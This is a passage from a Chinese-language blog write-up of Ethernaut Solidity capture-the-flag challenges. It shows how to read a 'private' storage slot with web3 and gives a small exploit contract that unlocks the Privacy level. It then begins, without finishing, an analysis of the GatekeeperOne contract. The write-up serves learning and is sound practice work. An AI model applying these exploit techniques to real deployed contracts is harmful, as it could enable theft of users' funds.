            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;bool&quot;,
            &quot;numberOfBytes&quot;: &quot;1&quot;
        },
        &quot;t_bytes32&quot;: {
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;bytes32&quot;,
            &quot;numberOfBytes&quot;: &quot;32&quot;
        },
        &quot;t_uint16&quot;: {
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;uint16&quot;,
            &quot;numberOfBytes&quot;: &quot;2&quot;
        },
        &quot;t_uint256&quot;: {
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;uint256&quot;,
            &quot;numberOfBytes&quot;: &quot;32&quot;
        },
        &quot;t_uint8&quot;: {
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;uint8&quot;,
            &quot;numberOfBytes&quot;: &quot;1&quot;
        }
    }
}
</code></pre>
<p>可以看到<code>data</code>起始位置处于第三个slot，而一个bytes32类型的状态变量会占用一整个slot，<code>unlock</code>中用到的<code>data[2]</code>就在第5个slot中。</p>
<p>在web console中用<code>web3.eth.getStorageAt(instance, 5)</code>得到结果<code>0xc55a9e32a3927345e2c6567b2fb8d57e376c2e1188bbff5b0d4f660cb2d66609</code>。</p>
<p>题目在对比之前还进行了显示强转，将其转化为了<code>bytes16</code>，也就是截断后面的16个字节。这里笔者偷懒直接在攻击合约中让他自己强转了（不缺gas费（暴论））。</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPrivacy {
  function unlock(bytes16) external;
}

contract exp {
  address public instance;
  bytes32 public raw;
  bytes16 public key;
  constructor(address _addr, bytes32 _raw) {
    instance = _addr;
    raw = _raw;
    key = bytes16(raw);
  }

  function pwn() public {
    IPrivacy(instance).unlock(key);
  }

}
</code></pre>
<h1 id="gatekeeperone">GatekeeperOne</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), &quot;GatekeeperOne: invalid gateThree part three&quot;);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
</code></pre>
<p>题目目标是使enter返回<code>true</code>，且成功将<code>entrant</code>注册为我们的账户。</p>
<p>enter函数有3个条件检查的修饰，分别对应了三个检查：</p>
<p>第一个比较简单，只要使用中间合约来与目标合约交互即可绕过。</p>
<p>第二个是检查了运行到</p>
<p>（待更新。。。）</p>

              </div>
              <div class="toc-container">
                <ul class="markdownIt-TOC">
<li><a href="#hello-ethernaut">Hello Ethernaut</a></li>
<li><a href="#fallback">Fallback</a></li>
<li><a href="#fal1out">Fal1out</a></li>
<li><a href="#coin-flip">Coin Flip</a></li>
<li><a href="#telephone">Telephone</a></li>
<li><a href="#token">Token</a></li>
<li><a href="#delegation">Delegation</a></li>
<li><a href="#force">Force</a></li>
<li><a href="#vault">Vault</a></li>
<li><a href="#king">King</a></li>
<li><a href="#re-entrancy">Re-entrancy</a></li>
<li><a href="#elevator">Elevator</a></li>
<li><a href="#privacy">Privacy</a></li>
<li><a href="#gatekeeperone">GatekeeperOne</a></li>
</ul>

              </div>
            </div>
          </article>
        </div>

        
          <div class="next-post">
            <div class="next">下一篇</div>
            <a href="https://kotoriseed.github.io/post/2023YearEndSummary/">
              <h3 class="post-title">
                2023年终总结
              </h3>
            </a>
          </div>
        

        

        <div class="site-footer">
  
  <a class="rss" href="https://kotoriseed.github.io//atom.xml" target="_blank">
    <i class="ri-rss-line"></i> RSS
  </a>
</div>

      </div>
    </div>

    <script>
      hljs.initHighlightingOnLoad()

      let mainNavLinks = document.querySelectorAll(".markdownIt-TOC a");

      // This should probably be throttled.
      // Especially because it triggers during smooth scrolling.
      // https://lodash.com/docs/4.17.10#throttle
      // You could do like...
      // window.addEventListener("scroll", () => {
      //    _.throttle(doThatStuff, 100);
      // });
      // Only not doing it here to keep this Pen dependency-free.

      window.addEventListener("scroll", event => {
        let fromTop = window.scrollY;

        mainNavLinks.forEach((link, index) => {
          let section = document.getElementById(decodeURI(link.hash).substring(1));
          let nextSection = null
          if (mainNavLinks[index + 1]) {
            nextSection = document.getElementById(decodeURI(mainNavLinks[index + 1].hash).substring(1));
          }
          if (section.offsetTop <= fromTop) {
            if (nextSection) {
              if (nextSection.offsetTop > fromTop) {
                link.classList.add("current");
              } else {
                link.classList.remove("current");    
              }
            } else {
              link.classList.add("current");
            }
          } else {
            link.classList.remove("current");
          }
        });
      });

    </script>
  </body>
</html>
